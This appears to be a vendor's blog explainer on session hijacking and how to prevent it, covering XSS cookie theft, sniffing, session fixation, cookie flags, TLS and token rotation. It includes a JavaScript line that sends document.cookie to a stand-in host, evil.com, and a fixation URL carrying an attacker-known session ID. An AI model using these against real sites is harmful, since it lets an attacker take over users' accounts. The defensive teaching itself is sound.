Session Hijacking: How It Works and How to Prevent It

What Is Session Hijacking?

Session hijacking is stealing a valid session token and using it to impersonate the user it belongs to. The attacker does not need the password, the email, or a second factor. They need the token, the short string your app hands a browser after login to remember who it is talking to. Once they have a live one, every request they send carries the victim's identity, and the server has no way to tell the difference.

That is the uncomfortable part. The token is the identity. Authentication happened once, at login; everything after that trusts the token. So the whole game for an attacker is getting their hands on a valid one before it expires.

How Tokens Get Stolen

There are three vectors worth knowing, because each one is closed by a different control. A token gets stolen by reading it out of the browser (XSS), by intercepting it in transit (sniffing), or by planting a known one before the victim authenticates (fixation).

Stealing via XSS

The most common route. If an attacker can run JavaScript on your page, they can read the session cookie and ship it to their server.

// Injected script reads the cookie and exfiltrates it
new Image().src = 'https://evil.com/steal?c=' + document.cookie;

This works only if the cookie is readable from JavaScript. That single fact is why HttpOnly matters so much, and it is why fixing XSS and hardening cookies are the same fight from two sides.

Network Sniffing

If any part of a session travels over plain HTTP, anyone on the same network, a coffee-shop Wi-Fi, a compromised router, can read the token straight off the wire. This was the entire premise of Firesheep back in 2010, and it is still live anywhere a site falls back to HTTP or sets a cookie without the Secure flag.

Session Fixation

The subtle one. Instead of stealing a token, the attacker gives the victim a token they already know, then waits for the victim to log in with it.

// 1. Attacker gets a valid session ID from the site
// 2. Tricks victim into using it:
https://example.com/login?sessionid=ATTACKER_KNOWN_ID
// 3. Victim logs in. If the app keeps the same ID,
//    the attacker's known token is now authenticated.

The fix is one line of discipline: issue a brand-new session ID at the moment of login, so whatever token existed before authentication is thrown away.

Prevention Checklist

No single setting covers all three vectors, so you layer them. Start with the cookie flags, because they are the cheapest and they close the two most common routes.

• HttpOnly, Secure, SameSite on the session cookie. HttpOnly keeps JavaScript out, Secure keeps it on HTTPS, SameSite stops it riding along on cross-site requests.
• TLS everywhere, with HSTS so the browser never even tries HTTP. This is what kills the sniffing vector. See our TLS guide.
• Rotate the token on login and on privilege change. A new ID at authentication defeats fixation; a new ID when a user becomes admin limits the blast radius if an old token leaked.
• Short lifetimes and real logout. Expire idle sessions, and invalidate the token server-side on logout, not just in the browser.
• Bind sessions to context where it fits, flagging or re-authenticating when a token suddenly jumps IP or user-agent. Use this as a signal, not a hard lock, since mobile networks legitimately change IPs.

Test Your Site

Most session-hijacking exposure shows up in configuration you can check from the outside: cookies set without HttpOnly or Secure, missing HSTS, or a site that still answers on plain HTTP. Our scanner flags those on your live site without touching your source. We built ismycodesafe after seeing how often the cookie flags are simply left at their framework defaults, which for a lot of stacks means not set at all.

Scan My Website — Free